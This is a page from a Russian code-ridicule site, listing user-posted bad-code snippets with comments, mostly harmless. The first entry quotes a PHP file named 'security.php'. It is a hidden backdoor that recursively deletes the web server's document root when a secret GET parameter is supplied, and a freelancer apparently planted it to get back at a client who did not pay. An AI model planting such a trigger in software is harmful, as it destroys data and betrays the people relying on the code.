По колено в коде — Говнокод.ру

PHP / Говнокод #12576

+136

1
2
3
4
5
6
7
8

<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
    $dir = __DIR__;
    shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>

Фрилансер защищает себя от неплатежеспособного заказчика xD

Файл лежал на продакшин сервере около года, название файла - security.php

uint, 11 Февраля 2013

Комментарии (9)

JavaScript / Говнокод #12575

+166

1

var strLabel = "<label for='yyyy' generated='true' class='error'>Чтобы зарегистрироваться, вам должно быть не менее 00 лет.</label>".replace(/00/gi, ageLimit);

Автор: samsung

111111, 11 Февраля 2013

Комментарии (4)

Си / Говнокод #12574

+131

1
2
3
4
5
6
7

void *threadFunc(void *)
{
	// ...
	pthread_exit( (void*)lTaskId );
	return ( (void*)lTaskId );
	// ...
}

позабавило.

для непосвященных: return в функции потока аналогичен вызову pthread_exit().

Dummy00001, 11 Февраля 2013

Комментарии (3)

PHP / Говнокод #12570

+109

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

public function __get($name){          
        if(isset($this->fields[$name])){            
            if(class_exists($this->fields[$name]) && 
               strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
               strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                $class = $this->fields[$name];
                $id = (string)$this->vals[$name]['id'];
                if(!$this->refsCache[$id])
                    $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                return $this->refsCache[$id];
            }else                
                return $this->vals[$name];
        }elseif(isset($this->fieldsRev[$name])) 
            return $this->vals[$name];
        else throw new Exception('Not found field "'.$name.'" when reading in model');
    }

    public function __set($name, $value){    
        if(isset($this->fields[$name])){  
            if(class_exists($this->fields[$name]) && 
               strcasecmp($this->fields[$name], get_class($value)) == 0 && 
               strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
            else                
                $this->vals[$name] = $value;
        }elseif(isset($this->fieldsRev[$name])) 
            $this->vals[$name] = $value;
        else throw new Exception('Not found field "'.$name.'" when writing in model');        
    }

Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

haker, 11 Февраля 2013

Комментарии (9)

Куча / Говнокод #12569

+141

1

http://sqlserverplanet.com/troubleshooting/cannot-insert-explicit-value-for-identity-column-in-table-table-when-identity_insert-is-set-to-off

Последний комментарий

denis90, 11 Февраля 2013

Комментарии (1)

PHP / Говнокод #12568

+88

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19

//До рефакторинга
static function initConnectOnce(){
    $who = get_called_class();
    if(!$GLOBALS[$who][class_cllct]){
        $db = new DataBase();
        $GLOBALS[$who][class_cllct] = $db->selectCollection(get_called_class());
    }
    return $GLOBALS[$who][class_cllct];
}
//После
public static function initCollectOnce(){
    $who = get_called_class();  
    $cllct = &self::$cacheCollect[$who];
    if(!$cllct){
        $db = new DataBase();
        $cllct = $db->selectCollection($who);
    }
    return $cllct;
}

Недавно начал рефакторить свой же код. Нашел такой вот незаметный гавнокод...
Для тех кто в танке =)
1. selectCollection(get_called_class()) - зачем вызывать по второму разу, если результат уже есть в переменной $who.
2. $GLOBALS[$who][class_cllct] - немного глюкнуло наверное, когда писал... Логичнее так $GLOBALS[class_cllct][$who].
3. initConnectOnce - тут даже наверное не Connect должно быть, а Collect.
4. Вместо $GLOBALS[$who][class_cllct] лучше(имхо) заюзать статичное свойство для класса.
5. static function initConnectOnce - забыл public описать....

haker, 11 Февраля 2013

Комментарии (16)

Java / Говнокод #12567

+61

1
2
3
4
5
6

public void insert()
{
    super.insert();
    if (this.ItemId == "")
        this = this;
}

нарочно не придумаешь

bodeaux, 11 Февраля 2013

Комментарии (7)

C# / Говнокод #12566

+135

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

namespace CuttingBox
{

    class Program
    {
        static public Tuple<int[], String> getProperty()
        {
            int[] itemDimensionProperty = new int[3];
            String itemColorProperty;
            String[] parseResult = new String[4];
            parseResult = (Console.ReadLine().Split(' '));
            for (int counter = 0; counter < 3; counter++)
            {
                itemDimensionProperty[counter] = Convert.ToInt32(parseResult[counter]);
            }
            itemColorProperty = parseResult[3];
            Tuple<int[], String> itemProperty = new Tuple<int[], string>(itemDimensionProperty, itemColorProperty);
            return itemProperty;
        }

        static void Main(string[] args)
        {
            List<Tuple<int[], String>> itemProperty = new List<Tuple<int[], String>>();
            itemProperty.Add(getProperty());
            int numberOfBoxes = Convert.ToInt32(Console.ReadLine());
            for (int counter=1; counter<=numberOfBoxes; counter++){
                itemProperty.Add(getProperty());
            }
        }
    }
}

Парсим строки правильно...

javanesovsemgovno, 11 Февраля 2013

Комментарии (3)

Куча / Говнокод #12565

+141

1

http://habrahabr.ru/post/168723/

Я даже копипастить всё не буду.

kasthack, 10 Февраля 2013

Комментарии (12)

Pascal / Говнокод #12564

+86

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

Function TMainForm.PrimGenerateMaze(Width, Height: Integer): Maze;

Type Point = record
  x, y: Integer;
end;

Var
  TehMaze: Maze;
  Todo: array of Point;
  todonum: integer;
  x,y,n,d: integer;

Const
  dx: array [0..3] of Integer = (0, 0, -1, 1);
  dy: array [0..3] of Integer = (-1, 1, 0, 0);

BEGIN
  SetLength(TehMaze, Width, Height);
  SetLength(Todo, (Width * Height) - 1);

  For x:=0 to Width-1 do
    For y:=0 to Height-1 do
      If (x = 0) or (x = Width-1) or (y = 0) or (y = Height-1) then
        TehMaze[x][y]:=32
      Else TehMaze[x][y]:=63;

  Randomize;
  x := Random(Width-2)+1;
  y := Random(Height-2)+1;
  todonum := 0;

  TehMaze[x][y]:= TehMaze[x][y] and not 48; // Пометить клетку как принадлежащую лабиринту

   // Пока не обработаны все клетки
   Repeat
    Begin
       // Занести в список todo все ближайшие необработанные клетки
       For d:=0 to 3 do
           if (TehMaze[x + dx[d]][y + dy[d]] and 16) <> 0 then
           Begin
             todo[todonum].x := x + dx[d];
             todo[todonum].y := y + dy[d];
             Inc(todonum);
             TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not 16;
           End;

       // Выбрать из списка todo произвольную клетку
       n:= Random(todoNum);
       x:= ToDo[n].x;
       y:= ToDo[n].y;

       // Удалить из списка обработанную клетку
       Dec(todonum);
       ToDo[n]:= todo[todonum];

       // Выбрать направление, которое ведет к лабиринту
       Repeat
           d:=Random(4);
       Until ((TehMaze[x + dx[d]][y + dy[d]] and 32) = 0);

       // Присоединить выбранную клетку к лабиринту
       TehMaze[x][y] := TehMaze[x][y] and not ((1 shl d) or 32);
       TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not (1 shl (d xor 1));
    End;
   Until (todonum = 0);

   TehMaze[1][1] := TehMaze[1][1] and -2;                 // начало лабиринта - в левом верхнем углу
   TehMaze[Width-2][Height-2] := TehMaze[Width-2][Height-2] and not 2; // конец лабиринта - в правом нижнем углу

   Result := TehMaze;
END;

Генерация лабиринтов по алгоритму Прима.

Govnocoder#0xFF, 10 Февраля 2013

Комментарии (24)

Говнокод: по колено в коде.